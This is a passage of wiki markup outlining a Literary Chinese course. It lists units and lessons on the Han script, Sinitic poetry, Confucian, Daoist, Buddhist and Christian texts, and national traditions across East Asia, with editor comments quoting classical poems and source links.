legitimately useful primer and can be used to self-teach for the Delegate's Edition of the Christian Bible. * 千字文 - The Thousand Character Classic, a remarkable piece of constrained writing that only uses each character once. Amazing for building vocabulary whilst seeing historical allusions and the like. * 五字鑑 - The Five-Character Mirror, essentially the 24 Histories of China compressed into a primer. Uses 5-character couplets, the longest in this list. * 龍文鞭影 - The Shadow of Longwen's Whip, a historical allusion trainer. Best paired with a context piece. ===Unit 0: The Han script=== This unit is intended for those with no familiarity of the Han script. It will prepare you for the units ahead, teaching largely pictographic characters. By the end of this unit, students will: * Recognise around 50 characters. * Understand how characters are composed and how this gives them meaning. * Have a basic idea of how to handwrite and/or type characters using the Cangjie Input Method. * Know some bare basics of Literary Chinese grammar (e.g. Basic word order, where adjectives go, lack of "is", 有...) Lessons: # [[/An Introduction to the Han Script/]] # [[/People, Big and Small/]] # [[/How do we write Chinese?/]] # [[/What are Chinese characters, anyway?/]] # [[/The Sun, the Moon, and the Five Elements/]] # [[/Getting Familiar with Body Parts/]] # [[/Using Numbers and Using Weapons/]] <!--- 竹戈十大中一弓廿卜---> # [[/Tilling the Fields with 有/]] <!--- 山田 ---> # [[/How Characters are Made/|How Characters are Made with Kiyohara no Sanemoto]] # [[/Cangjie Created Characters/]] <!--- Get people to use Cangjie ---> # [[/The Kangxi Radical System/]] <!--- Introduce some monoradical texts to train recognition. ---> ===Unit 1: Basic Skills=== This unit is intended for those with minimal familiarity with the Han script and no familiarity with Literary Chinese. There is a focus on simple structures, skills for dissecting common textual structures, and short-form poetry in this unit. Before starting this unit, students should: * Recognise around ~30 characters. * Can use Cangjie input. * Have given Unit 0 a cursory glance. <br> By the end of this unit, students will: * Recognise around ~100 characters. * Comprehend numbers, the Heavenly Stems, and the Earthly Branches, and be able to use them to quantify time and date. * Intuit the basic topic -> comment idea behind Literary Chinese. "This, it is..." * Understand basic function words such as 也, 而, 有, and 謂. Lessons: # [[/The All-Purpose 也/]] # [[/An Introduction to Chinese Numbers/]] # [[/One, Two, Left, and Right with Gongsun Long/]] # [[/The Heavenly Stems/]] # [[/Tell the Time with Earthly Branches/]] # [[/How Much Time, Exactly?/]] # [[/Lunar Dates with the Spring and Autumn Annals/]] # [[/Scanning for Major Events in Historical Annals/]] # [[/Dinner with the Daimyo/]] # [[/In Discourse with Jibong/]] # [[/How do we Write Height and Weight?/]] # [[/Eating like a Zhou Aristocrat/]] <!--- Some cool stuff I saw someone studying from https://zh.wikisource.org/wiki/%E8%87%B3%E5%B0%8F%E4%B8%98%E8%A5%BF%E5%B0%8F%E7%9F%B3%E6%BD%AD%E8%A8%98# https://zh.wikisource.org/wiki/%E6%A0%B8%E8%88%9F%E8%A8%98 Could be used for period focus ---> ===Unit 2: Myths and Legends of East Asia=== In this unit, you will be studying some of the ancient myths and legends of East Asia, along with one of your first literary genres: Zhiguai 志怪. These texts happen to be quite easy to read and utilise skills you have already learned. By the end of this Unit, students will: * Recognise around 120 more characters. * Be able to use function words such as 在, 無, 不, 焉, and 于/於. * Understand 里 as a measure of distance. * Recognise the switch between 吾/我 in the subject-object positions and demonstrate it in usage. * (Chinese speakers) Be able to differentiate 于 and 於, and understand the "interest(ed) in" meaning of 好 in most circumstances. <!--- Shanhaijing, Zibuyu... Etc. Zhiguai literature. This aims to provide a counterpoint to what Confucius wouldn't discuss - thus Zibuyu. Going straight into Daoism isn't ideal. ---> # [[/Exploring the World of Mountains and Seas/]]<!-- Structure: 出焉 --> # [[/Oh, the Qilin!/]] <!--- Even here, the odes can be studied! ---> # [[/The Poison of Zhen/]] <!--- referenced a lot in histories ---> # [[/Ultimate Justice with Xiezhi/]] <!--- the yellow emperor met one, gao yao also used one ---> # [[/The Virtue of the Fenghuang/]] <!--- shanhaijing has a great line on this ---> # [[/The Entrapment of Hua Po/]] # [[/Nüwa Created the World/]] ===Unit 3: Confucianism and the World=== This is a Confucian-themed unit with a smattering of other items. You will see the odd geography of the past, early linguistic philosophy, and terrifying breakaway states! Lessons: # [[/A Brief Overview of Confucianism/]] # [[/Teaching the Annals in Qi/]] <!-- Gongyang Gao's commentary --> # [[/Is a White Horse a Horse?/]]<!-- Teach negation with 非 in 公孙龍子 and compare with 不 --> # [[/The Three Character Classic/]] # [[/Expressing Filial Conduct with Confucius and Hara Saihin/]] <!-- 次韻杏坪先生 父執有君孤不孤 相依遍接搢紳徒 区区自抱地方寸 杳杳重遊天一隅 羇雁飛鳴迷汝國 家人思夢入江都 如教志業青年遂 世上寧無逐臭夫 --> # [[/Confucianism and the Environment with Sai On/]]<!-- 木假山記 --> # [[/In Debate with Mencius/]] ===Unit 4: Women's Writing=== In this unit, women's writing from various areas of China will be explored. This is chiefly targeted at poetry and the themes within; from the feminine voice of the Classic of Poetry to the remonstrance towards the Khitan Emperor Tianzuo of Jin by his Consort Dasese. The role of women in courtly society is to be elucidated here! # [[/An Unmarried Life with Heo Nansŏrhŏn/]] <!--- 貧女吟 豈是乏容色。工鍼復工織。 少小長寒門。良媒不相識。 夜久織未休。戛戛鳴寒機。 機中一匹練。終作阿誰衣。 手把金翦刀。夜寒十指直。 爲人作嫁衣。年年還獨宿。 ---> # [[/Responding to Lord Trần with Hồ Xuân Hương/]] <!--- Responding to 陳光靜 Trần Quang Tĩnh 《和陳侯》 愧無才調使人驚，十載風塵貫耳鈴。 已是臨枰知敵手，莫須敲月苦殫精。 為輪為彈隨遭遇，誰鳳誰鶯任賦生。 造物於人何苟惜，明珠休向暗中呈。 莫須 is an important structure to teach here. ---> # [[/Gaze into the Autumn Night with Taisei Shōan/]] <!--- 秋夜偶成·大成聖安 長天浮爽気，月色興無窮 群犬吠山径，百蟲啼野風 悲秋秋夜永，感古古今同 自是孤窓下，凄然万慮空 ---> # [[/Visiting a Temple with Yu Xuanji/]] <!--- 遊崇真觀南樓覩新及第題名處 雲峰滿目放春晴，歷歷銀鈎指下生。 自恨羅衣掩詩句，擧頭空羨榜中名。 ---> # [[/Remonstrance with Dasese/]] <!--- https://zh.wikisource.org/wiki/%E8%AB%B7%E8%AB%AB%E6%AD%8C 諷諫歌·大瑟瑟 勿嗟塞上兮暗紅塵。 勿傷多難兮畏夷人。 不如塞奸邪之路兮選取賢臣。 直須臥薪嚐膽兮激壯士之捐身。 可以朝清漠北兮夕枕燕雲。 Dasese (or 萧瑟瑟) was a Khitan consort to Emperor Tianzuo of Liao. She remonstrated him as the Jurchens were beginning to encroach upon the Khitan, and was forced to commit suicide for her remonstrance. Tianzuo would soon pay for his malfeasance. ---> # [[/The Love Songs of the Odes/]] <!--- 褰裳 子惠思我，褰裳涉溱。子不我思，豈無他人？狂童之狂也且！ 子惠思我，褰裳涉洧。子不我思，豈無他士？狂童之狂也且！ 柏舟 彼柏舟，在彼中河，髧彼兩髦，實維我儀，之死矢靡它，母也天只，不諒人只。 汎彼柏舟，在彼河側，髧彼兩髦，實維我特，之死矢靡慝，母也天只，不諒人只。 行露 厭浥行露，豈不夙夜，謂行多露。 誰謂雀無角？何以穿我屋？誰謂女無家？何以速我獄？雖速我獄，室家不足。 誰謂鼠無牙？何以穿我墉？誰謂女無家？何以速我訟？雖速我訟，亦不女從。 ---> # [[/Rules for Women with Ban Zhao/]] <!--- https://zh.wikisource.org/wiki/%E5%A5%B3%E8%AA%A1 ---> # [[/The Tragedy of Cai Wenji/]] <!--- 悲憤詩 〔兩漢〕蔡文姬 漢季失權柄，董卓亂天常。 志欲圖篡弒，先害諸賢良。 逼迫遷舊邦，擁主以自強。 海內興義師，欲共討不祥。 卓眾來東下，金甲耀日光。 平土人脆弱，來兵皆胡羌。 獵野圍城邑，所向悉破亡。 斬截無孑遺，屍骸相撐拒。 馬邊懸男頭，馬後載婦女。 長驅西入關，迥路險且阻。 還顧邈冥冥，肝脾為爛腐。 所略有萬計，不得令屯聚。 或有骨肉俱，欲言不敢語。 失意幾微間，輒言斃降虜。 要當以亭刃，我曹不活汝。 豈復惜性命，不堪其詈罵。 或便加棰杖，毒痛參並下。 旦則號泣行，夜則悲吟坐。 欲死不能得，欲生無一可。 彼蒼者何辜，乃遭此厄禍。 邊荒與華異，人俗少義理。 處所多霜雪，胡風春夏起。 翩翩吹我衣，肅肅入我耳。 感時念父母，哀嘆無窮已。 有客從外來，聞之常歡喜。 迎問其消息，輒復非鄉里。 邂逅徼時願，骨肉來迎己。 己得自解免，當復棄兒子。 天屬綴人心，念別無會期。 存亡永乖隔，不忍與之辭。 兒前抱我頸，問母欲何之。 人言母當去，豈復有還時。 阿母常仁惻，今何更不慈。 我尚未成人，奈何不顧思。 見此崩五內，恍惚生狂痴。 號泣手撫摩，當發復回疑。 兼有同時輩，相送告離別。 慕我獨得歸，哀叫聲摧裂。 馬為立踟躕，車為不轉轍。 觀者皆噓唏，行路亦嗚咽。 去去割情戀，遄征日遐邁。 悠悠三千里，何時復交會。 念我出腹子，匈臆為摧敗。 既至家人盡，又復無中外。 城廓為山林，庭宇生荊艾。 白骨不知誰，縱橫莫覆蓋。 出門無人聲，豺狼號且吠。 煢煢對孤景，怛吒糜肝肺。 登高遠眺望，魂神忽飛逝。 奄若壽命盡，旁人相寬大。 為復強視息，雖生何聊賴。 託命於新人，竭心自勖勵。 流離成鄙賤，常恐復捐廢。 人生幾何時，懷憂終年歲。 ---> ===Unit 5: Food from Across the Ages=== # [[/A Simple, Rich Fry/]] <!--- 《禮記 內則》淳熬：煎醢，加于陸稻上，沃之以膏曰淳熬。淳毋煎醢，加于黍食上，沃之以膏曰淳毋。---> # [[/Song Cuisine with Chen Dasou and Lin Hong/]] <!--- 陳達叟 本心齋疏食譜 https://zh.wikisource.org/zh-hant/%E6%9C%AC%E5%BF%83%E6%96%8B%E7%96%8F%E9%A3%9F%E8%B0%B1 ---> <!--- 山家清供 https://zh.wikisource.org/wiki/%E5%B1%B1%E5%AE%B6%E6%B8%85%E4%BE%9B ---> # [[/Yuan Cuisine with Ni Zan/]] <!--- https://ctext.org/wiki.pl?chapter=318337&if=en 《雲林堂飲食制度集》倪瓚 one of the Four Masters, also a painter ---> # [[/A Feast with Yuan Mei/]] <!--- 袁枚 隨園食單 https://ctext.org/wiki.pl?if=gb&res=344157 ---> # [[/Remembering the Food of Joseon with Hŏ Kyun/]] <!--- https://rmda.kulib.kyoto-u.ac.jp/item/rb00023424?page=3p 許筠 屠門大嚼 ---> ===Unit 6: An Overview of Sinitic Poetry=== This unit will teach you how Sinitic Poetry operates; - that is, the way individuals in the Sinosphere compose poetry in Literary Chinese. Despite this language's fall out of favour in the past century, this tradition is still remarkably alive and well, and their short length makes them more accessible than elaborate prose. In this unit, you will begin from the ''Classic of Poetry'' before travelling through poems from the Tang dynasty, Singapore, Japan, Vietnam, the Ryukyu Kingdom, and Korea. When introducing poetry, I will furthermore use the language from the nation it is from to show how it is recited by its people. After discussing the Classic of Poetry, we will also be a small detour into a discussion on Ping-Ze 平仄, the Tang dynasty system of alternating tones, so to produce rhyme on tonal and phonological levels. This had a major impact on Literary Chinese poetry as a whole! <!--- Summary of the above part about 于 and 於 for other editors: 于 and 於 were distinct words for an extremely long time and were still such to Literary Chinese writers. Their "merging" through Simplified-Traditional Chinese distinctions is a very modern thing. I will summarise their usages here, using Pulleyblank's Outline of Classical Chinese Grammar (2000); * 于 - This can mean "to go" or "to/at". 黃鳥于飛 "The yellow birds go flying". Must be post-verbal. It can also appear in 至于. * 於 - This is an all-purpose locative preposition - from "on/at/in" to "from" or even "than" (甲於乙). The implication of motion is not there at all. Must be pre-verbal. It can also appear in 之於 or be an archaic noun for a crow 於 (烏). ---> Lessons: # [[/Across the Rivers with Emperor Puliuru Guang/]] <!--- Illustrate ping-ze ---> # [[/To Study the Odes/]] # [[/A Detour into Orthodox Ping-Ze/]] <!--- 平 and 仄 are useful characters themselves. Show 仄 in the binomes 反仄，歉仄，逼仄 as it's often difficult to immediately use ---> # [[/The Restraint of Du Fu/]] # [[/The Longing of Li Bai/]] # [[/The Environment with Bukha Timur/]] # [[/Pillow Talk with Guan Yunshi/]] <!--- 紅繡鞋·貫雲石 挨著靠著雲窗同坐，偎著抱著月枕雙歌，聽著數著愁著怕著早四更過。四更過情未足，情未足夜如梭。天哪，更閏一更兒妨甚么！ Uyghur author! ---> # [[/Buddhist Philosophy with Ngô Chân Lưu and Taisei Shōan/]] <!-- 元火·吳真流 木中元有火，元火復還生。 若為木無火，鉆燧何有萌。--> <!-- 杜鵑·大成聖安 夢覚孤床静 杜鵑帯雨飛 一声来近枕 何者不沾衣 --> # [[/Odes with Mō Taiei and Zheng Chengxun/]] <!-- 詠松·毛泰永 植體宜千仞，垂陰動百尋。 李膺真烈烈，和嶠自森森。 桃李何堪較，雪霜安得侵。 萬年身不老，種子又成林。 AKA Inoha Seiki 伊野波 盛紀 --> <!-- 詠班蘭·鄭成勛 南國多芳草，班蘭最有名。 深根將綠茁，長葉亦叢生。 取味迎賓合，入厨任水烹。 可憐經一用，擲棄不留情。 鄭成勛《樵隱詩集》 https://nus.edu.sg/nuslibraries/dsprojects/sg-jiutishi/poem/827 --> # [[/A Golden Cup and the Fall of a Dynasty with Yan Fu/]] # [[/On a Journey with Sadula/]] <!--- No lesson entry: 朝中措·襄陽古道灞陵橋 襄陽古道灞陵橋，詩興與秋高。 千古風流人物，一時多少雄豪。 霜清玉塞，雲飛隴首，風落江皋。 夢到鳳凰台上，山圍故國周遭。 北郊晚步 陂水荷凋晚，茅檐燕去涼。 遠林明落景，平麓淡秋光。 群牧歸村巷，孤禽立野航。 自諳閑散樂，園圃意尤長。 Jurchen poet and grandson of Emperor Shizong of Jin. He's a Zen Buddhist, so we'll go back to him later. ---> ===Unit 7: Nation Focus - Japan=== # [[/An Introduction to Kanbun Kundoku/]] # [[/The Inariyama Sword/]] <!--- short and sweet! ---> # [[/Entering Japan with Takeda Shingen/]] # [[/The Oldest Inscription in Japan/]] <!--- 宇治橋断碑 ---> # [[/The End of a Rebellion/]] # [[/The Diary of Fujiwara no Teika/]] <!--- 明月記 ---> # [[/Reading the History of Japan with Prince Toneri/]] <!--- 日本書記, etc. ---> # [[/A Biographical Painting of Toyotomi Hideyoshi/]] <!--- This is on Fanya Hanwen Corpus ---> <!--- # [[/Occupying Taiwan/]] ---> <!--- I have some colonial literature on me that can be used here. ---> ===Unit 8: Shinto, the Nature Religion=== # [[/Shinto, Questions and Answers/]] <!--- https://wikisource.org/wiki/%E7%9C%9E%E9%81%93%E5%95%8F%E5%B0%8D 眞道問對 本田親徳 really good way of operationalising 乎 and much of the early grammar. 問 天帝無始無終乎。 對 天帝無始無終也。 旣以無始無終之力 與無始無終之體 造無始無終之萬物。 其功亦無始無終也。 問 天地大原在道乎。 對 天地大原實在道。 鬼神依道而立。 人民依道而活。 萬物依道而息。 This is great! ---> # [[/The Way of Shinto with Honda Chikaatsu/]] <!--- https://wikisource.org/wiki/%E9%81%93%E4%B9%8B%E5%A4%A7%E5%8E%9F 本田親徳 道之大原 ---> <!--- 滄海窓問答 鎮魂帰神の極意 新論 by 会沢正志斎 https://dl.ndl.go.jp/pid/2610897 大和神学 神道大意 三社託宣 神道五部書 古語拾遺 日本書紀 ---> ===Unit 9: Nation Focus - Korea=== # [[/Feigned Surrender with Ŭlchi Mundŏk/]] <!--- 乙支文德漢詩 ---> # [[/A fu with Yi Kyubo/]] # [[/An Elegy to the Empress with Choe Ja/]] <!--- Choe Ja 元德大后輓詞·崔滋（최자） 乾極曾客配,坤儀正體元。 枕前朝聖主,帳底見曾孫。 陰慘俄沉月,屋悲便沒軒。 三韓千古淚,七十九年恩。 ---> # [[/Language Reform with Sejong the Great/]] <!--- 訓民正音 https://github.com/ShiraTheMogul/fanyahanwen-corpus/commit/1ef2b42cc50055affaa5ef39c61b87ed31c34a60 multiple poems and descriptive terms, possibly the best capstone ---> # [[/Fall Off Your Horse!/]] <!--- a famous record from 朝鮮王朝實錄 ---> # [[/The Diary of Yi Sun-Sin/]] <!--- 亂中日記 ---> # [[/Tales from Mount Kumo/]] <!--- 金鰲新話 ---> # [[/Pak Chiwŏn Tours the Qing/]] <!--- 熱河日記 ---> # [[/Korea's Three Kingdoms/]] <!--- 三國史記 for sure! ---> # [[/Hwang Yun-seok's Essays/]] <!--- https://zh.wikisource.org/wiki/%E9%A0%A4%E9%BD%8B%E9%81%BA%E7%A8%BF 頤齋遺稿 黃胤錫 Joseon scholar! ---> ===Unit 10: Christian Literature=== # [[/A Different Three Character Classic with Hong Xiuquan/]] # [[/Friar Juan Cobo's Veritable Record/]] <!--- One of few texts from the Philippines that I have ever found! https://bnedigital.bne.es/bd/en/viewer?id=0160187c-9d9b-4f34-84d6-bc03fd310c69 ---> # [[/The Delegate's Edition/]] # [[/Nestorian Steles during the Tang/]] <!--- 大秦景教宣元至本經經幢 and 景教碑 ---> # [[/Hong Xiuquan's Bible/]] <!--- https://bible.fhl.net/ob/nob.html?book=407 ---> <!--- I don't want to focus too much on Hong Xiuquan here, so look for more material, especially from missionaries. ---> ===Unit 11: An Introduction to Daoism=== <!--- And now back to your regularly scheduled Zhuangzi/Laozi/Liezi. But with more interesting stuff. Trust! ---> # [[/Laozi Explains the Dao/]] # [[/Qingtan with Xie Daoyun/]] # [[/The Doubting Neighbour/]] # [[/Kuafu Chases the Sun/]] # [[/The Frog in a Well/]] # [[/Wu wei with King Hui of Liang/]] # [[/The Old Man that Moves the Mountains/]] # [[/Master Zhuang Dreams of Butterflies/]] # [[/Master Incapable and the Poisonous Bird/]] # [[/Transmitting the Dao with Yelü Chucai/]] <!---耶律楚材 - Served 窝阔台, 玄風慶會錄 is short and respectable enough to work with. https://zh.wikisource.org/wiki/%E7%8E%84%E9%A2%A8%E6%85%B6%E6%9C%83%E9%8C%84 ---> # [[/The Indifferent Taoist/]] <!--- northern song https://zh.wikisource.org/wiki/%E7%8E%89%E6%AD%B7%E5%AF%B6%E9%88%94 ---> <!--- Currently very stereotypical, but there's stuff to work with at least. Need to include those weird Daoist characters among other things. ---> ===Unit 12: Nation Focus - Ryukyu Kingdom=== # [[/Historical Annals with Sai On/]] <!--- Kyuko is an easy cop ---> # [[/The Enthronement of Shō Tei/]] # [[/The Twilight of Ryukyu with Shō Ten/]] # [[/A Trip to Ryukyu with Luo Sen/]] <!--- Pre-Capstone ---> <!--- 遐邇貫珍 1854-11 - 日本日記 羅森 https://archive.org/details/HEKC185411/page/n5/mode/1up A solid description of Ryukyu cultural customs in Volume 11. Absolutely incredible. 日三日火船直向東北而駛出了臺灣之外幾日不見天涯是時北風大作波浪沖天火船亦甚飄蕩而不能立見有沙鷗隨風而逐浪心直駛七日漸見小山而到琉球琉球一國長闊一百七十五里其國城在地球圖緯線赤道之北二十六度十四分經線中華北京偏東十一度二十四分自明以來世封王爵叨列藩籬其處土產不過蔬菜番薯菜油黑糖等類人民束髻大補是穿草履男女粧飾頭上祇插一簪二簪為別故少年之男女瞥目則無異及其壯也皆留鬚髯故街上長鬚之人甚多甲寅正月初一予上岸遊玩見街上兒童甚多分以銅錢各極歡喜人民亦甚謙恭民居間亦貼新春聯于門外但不見有別等繁華之事那霸有寺寺內有園是名家世宦之墳所以石刊刻姓名年號于碑上每日道人打掃供奉生花樹葉于墓前另有人家祖墳與中國之明塚無異峰巒之上樹木多植民房則以蠻石圍墻內以茅草結屋而居佳物椅棹俱無惟以草蓆屈膝而坐對火盆而吹煙民間亦有識中國言語字墨者 不張舖店惟有墟塲男不貿易婦女為之以貨易貨而外方之金銀弗尚焉然而百姓亦甚畏官長飲食亦甚粗粕甘守樸儉不務奢華亦鮮欺詐板門紙窓夜間亦不防竊曾見途中撿物亦能以返原人公門之內冷冷落落並無案牘之煩淳樸之風畧有同于上古之世我等外國之欲買什物須言于官官為代辦正月初六提督被理衛廉士等一班將官布列威嚴與予乘轎至王宮總理大臣尚宏勳為主席布政大夫馬良才為知客享宴甚豐食物多與中國無異宴後各官皆饋有紙扇烟包布帛等項是物雖粗此亦世子之恭敬外國故亞國亦以禮物而返贈之世子王宮離岸三里在于山頂是名守禮將至其宮一路亦有樹木石牌坊宮室亦甚寬大幽雅垣局可觀其處多栽鳳尾草森樹等類以障陰山邊田土樹藝五穀近海沙田水漲之後人收其沙以煎鹽此時明月當圓予覽山川亦足見一方之風景 ---> <!--- 中山世鑑 and so on. Lots of poetry too. ---> ===Unit 13: Nation Focus - Singapore=== <!--- National Library of Singapore has a poetry series that's super good! ---> # [[/Three Nights in Penang with Gao Chao/]] ===Unit 14: Literary Chinese in Medicine=== <!--- do not endorse the medical practices discussed in these...make sure to link back to the heavenly stems here as they are associated with specific body parts. ---> # [[/The Books of the Yellow Emperor/]] <!-- 黃帝内徑 ---> # [[/Deviant Qi with Zhang Congzheng/]] <!--- https://zh.wikisource.org/wiki/%E5%84%92%E9%96%80%E4%BA%8B%E8%A6%AA ---> # [[/Anatomy with Sugita Genpaku/]] <!--- 解体新書 ---> # [[/A Lost Wu Medical Text analysed in Japan/]] <!--- 難經古義 ---> ===Unit 15: People Focus - Zhuang peoples=== <!--- https://mooc1.chaoxing.com/mooc-ans/ztnodedetailcontroller/visitnodedetail?courseId=84745403&knowledgeId=84745463&_from_=&_fromV2_=&rtag= 《峤西诗钞》 is also a really good shout. Found here: https://ctext.org/wiki.pl?if=gb&res=215640&remap=gb ---> <!--- Basically, there are Zhuang and Tangut peoples who wrote in Literary Chinese, and their inclusion here is to show that even those who made their own scripts would use this tongue. 张鸿翮 imported the character 朴 to describe a bug, for example. ---> # [[/Zhuang poetry with Li Bi/]] # [[/The Beauty of Wuyuan with Fang Ju/]] # [[/Disaster and Society with Wei Fenghua/]] # [[/Who Deserves a Biography?/]] <!--- https://wenyi.gmw.cn/2024-06/25/content_37398911.htm 一是忠实记录了汉诗创作与古壮字交融的文化现象。清代壮族诗人张鸿翮（hé）《大塘谣》（《峤西诗钞》卷二）云： 去了休。去到大塘红蓼洲。红蓼生花，不结子。绿朴生花，毬见毬。 诗中所说“绿朴”，是壮族对柚子的惯称。“柚子”，壮语发音为“bug”。根据《古壮字字典》，其对应的古壮字为“朴（㭪）”。诗人将古壮字运用到汉文诗歌创作中，刻下了明清壮汉文化交相辉映的注脚。 This sort of thing is why Zhuang and Tangut inclusion is important, as they show how flexible Literary Chinese can be. ---> ===Unit 16: People Focus - Tangut peoples=== <!--- 羅福萇 and 羅振玉 wrote studies on Western Xia / Tangut script. Look for poets and stuff. ---> ===Unit 17: Literary Chinese in the Military=== <!--- Real Sun Zi hours! 7 Military Classics are an obvious shout, but look for more stuff too. ---> # [[/Fū! Rin! Ka! Zan!/]] # [[/A Bilingual Stele of the Khitans/]] # [[/Going to war with Boyan/]] <!--- Boyan's Poem from the 元史 　　伯顏，蒙古巴林部人。至元十一年拜中書左丞相，總兵伐宋。官至開府儀同三司，薨贈太師，封淮安王，諡忠武。 　　《玉堂嘉話》：初，宋未下時，江南謠云：「江南若破，白雁來過。」當時莫喻其意。及宋亡，蓋知指丞相巴延也。 　　過梅嶺岡留題 馬首經從庾嶺回 【 庾嶺回　七修類稿（乾隆刊本）卷四十六作「嶺島歸」。】 ，王師到處悉平夷。擔頭不帶江南物，只插梅花一兩枝。 　　《七修類藳》：伯顏下江南，過金陵梅嶺岡詩云云。所以著名，亦有是善。 ---> # [[/An Edict from the Xianbei/]] # [[/The Suppression of the Kingdom of Dongning/]] <!--- 台灣鄭氏始末 https://ctext.org/wiki.pl?if=en&chapter=139938 Largely a record of wars in Dongning rather than anything about the trade etc, so it fits here. ---> # [[/The Shunzhi Emperor vs Li Zicheng/]] # [[/The Art of War/]] ===Unit 18: Nation Focus - Vietnam=== # [[/Đỗ Pháp Thuận and the Southern Skies/]] # [[/Ancestor Veneration with the Descendants of Zhu Xi/]] <!--- https://github.com/ShiraTheMogul/fanyahanwen-corpus/tree/main/corpus%2F%E8%B6%8A%E5%8D%97%E6%BC%A2%E6%96%87%2Fclean somewhere in here ---> # [[/Resolving a Succession Crisis with Emperor Trần Minh Tông/]] <!-- 南翁夢錄·黎澄 --> # [[/Spreading Revolutionary Consciousness with Phan Bội Châu and Liang Qichao/]] <!--- 越南亡國史 Possibly the most important text in Vietnamese history, not even gonna lie. https://zh.wikisource.org/wiki/%E8%B6%8A%E5%8D%97%E4%BA%A1%E5%9C%8B%E5%8F%B2 ---> # [[/Academia in Literary Chinese between East and West/]] <!--- 南風雜誌 is a massive shout here. Absolutely amazing series. ---> ===Unit 19: Historical Annals and Encyclopediae=== <!--- 永樂大典 will teach how to infer from gaps in texts! 《編類》 is an incredibly interesting essay from here that can bring up the odes and Confucius's「思無邪」quote. It can prepare students for the wrath of Qing academia later. ---> # [[/An Introduction to Biographical Paintings/]] <!-- Many older paintings include biographies at the top in Literary Chinese. Students need to learn these. https://commons.wikimedia.org/wiki/File:%E6%AD%B7%E4%BB%A3%E8%81%96%E8%B3%A2%E5%8D%8A%E8%BA%AB%E5%83%8F_%E5%86%8A_%E8%AB%B8%E8%91%9B%E4%BA%AE_(Zhuge_Liang).png - Famous figure, also part of a very notable series. https://commons.wikimedia.org/wiki/File:Otomo-Sorin-2.jpg - Contains the Japanese repetition character 々 https://commons.wikimedia.org/wiki/File:Toyotomi_hideyoshi4.jpg - simply has aura --> # [[/The History of Liao, Jin, and Song with Toqto'a/]] <!--- 脱脱 ---> # [[/Two Years in the Forbidden City with Yu Deling/]] <!--- 清宮禁二年記 https://zh.wikisource.org/wiki/%E6%B8%85%E5%AE%AE%E7%A6%81%E4%BA%8C%E5%B9%B4%E8%A8%98 ---> # [[/Selected Records of the History of the Da Shun/]] <!--- Fair Use of a 2010 book written in Literary Chinese about the Da Shun dynasty. Limit to 500 characters, if that. Use to encourage recognition of Simplified variants and modern Wenyanwen. ---> # [[/Documenting the World with Terajima/]] <!--- 和漢三才図会 寺島良安, built off 三才圖會 ---> ===Unit 20: Buddhist Literature=== <!--- You would be forgiven for wondering why this is so late, but if you look at many classical Buddhist texts you'll quickly see a ton of loanwords that make it significantly more difficult to read than the average text. Thus, it goes here for now. ---> <!--- Place focus on practical stuff first. Stuff you can and WILL see in Buddhist temples. Stuff Buddhists can take away immediately. Skills-based approach feels strongest here. ---> <!--- Look at Northern Liang and Later Qin literature, as there is a ton of work by translators from India during the 16 kingdoms period, particularly those two. ---> <!--- Stuff by Bodhidharma 達摩 could be fun too https://zh.wikisource.org/wiki/Author:%E9%81%94%E6%91%A9 ---> # [[/Dipping your feet in with Wenyan Shu/]] <!--- 華亭 世尊遺法本忘言，教外別傳意已圓。 只履攜將蔥嶺去，不妨來上月明船。 ---> # [[/Buddhism in Battle Standards/]] # [[/The Seven Tathagatas/]] <!--- 南無寶勝如來 南無多寶如來 南無妙色身如來 南無廣博身如來 南無離怖畏如來 南無甘露王如來 南無阿彌陀佛 Use to introduce some core vocabulary in repetitive manner. Useful phrases from my trip to Jing'an Temple 南無本師釋迦牟尼佛 - Pay homage to the root teacher 南無大悲觀世音菩薩 - Pay homage to the goddess of mercy 廣種福田 - widely plant a meritorious field ---> # [[/Two Buddhist Temples in Shanghai/]] <!--- 留雲禪寺 雲留雲翔領畧幾許禪機此地有雲散天開真如界。 塔內塔外普示無邊圓覺是故曰塔影雙照解脫門。 歲次壬午冬月吉旦。 覺醒敬撰。 楊胡生沐手恭書。 善信印利明敬獻。 ---> <!--- 福慧宝鼎 慧明大和尚 - introduce the Buddhist timekeeping system with 佛歷 around this point. 赤烏古剎 建寺一千七百六十周年紀念 古剎三國建 滬瀆有重玄 石佛音淨現 聖跡顯重元 唐時稱永泰 宋敕名靜安 聖祖留佛闡 仲師移伽藍 元收八景偈 明鑄鐘聲梵 清樹化羅漢 選賢十方讚 佛日普光明 福慧共修善 鼎運昌隆際 轉正法輪緣 歲次丁亥住持慧明監製 ---> # [[/Foreseeing Monkhood with Yi Xing/]] <!--- 看命一掌金 ---> # [[/A Trip to Western Xia with Zhi Guang and Hui Zhen/]] <!--- https://zh.wikisource.org/wiki/%E5%AF%86%E5%91%AA%E5%9C%93%E5%9B%A0%E5%BE%80%E7%94%9F%E9%9B%86 ---> <!--- https://zh.wikisource.org/wiki/%E5%AF%86%E5%92%92%E5%9C%93%E5%9B%A0%E5%BE%80%E7%94%9F%E9%9B%86 ---> # [[/Jizang's Three Discourses/]] <!--- https://zh.wikisource.org/wiki/%E4%B8%89%E8%AB%96%E7%8E%84%E7%BE%A9 ---> <!--- I saw these texts being quoted and thus should consider them in some capacity. 《般若波羅蜜多心經》 《金剛般若波羅蜜經》 《一切智光明仙人慈心因緣不食肉經》 《妙法蓮華經》 《大般涅槃經》 《大方等大集經》 《大毘盧舍那成佛神變加持經蓮華胎藏悲生曼荼羅廣大成就儀軌供養方便會》/ 胎藏曼荼羅 《佛說救拔焰口餓鬼陀羅尼經》 《雜阿含經》 Look at Japan's 五山文学 ---> ===Unit 21: People Focus - Manchu peoples=== # [[/Qing dynasty Poetry with Nara Singde/]] <!--- 飲水詞 納蘭性德 https://zh.wikisource.org/wiki/Author:%E7%B4%8D%E8%98%AD%E6%80%A7%E5%BE%B7 ---> # [[/Amassing Words with the Kangxi Emperor/]] # [[/Amassing Literature with the Qianlong Emperor/]] <!--- Siku Quanshu abstract https://zh.wikisource.org/wiki/%E5%9B%9B%E5%BA%AB%E5%85%A8%E6%9B%B8%E7%B8%BD%E7%9B%AE%E6%8F%90%E8%A6%81 ---> <!--- Yongzheng Emperor's Poetry https://zh.wikisource.org/wiki/Author:%E9%9B%8D%E6%AD%A3%E5%B8%9D 《和碩怡賢親王祭文》 Also include 滿洲國 stuff to show the fall of the Qing and attempts to preserve it through becoming a Japanese puppet state. It is important to show how Literary Chinese can be misused as well. 滿洲國建國宣言 is a good shout, as is 法制 to prepare students who may be interested in Taiwan legal stuff later down the road. https://zh.wikisource.org/wiki/Category:%E6%BB%BF%E6%B4%B2%E5%9C%8B ---> # 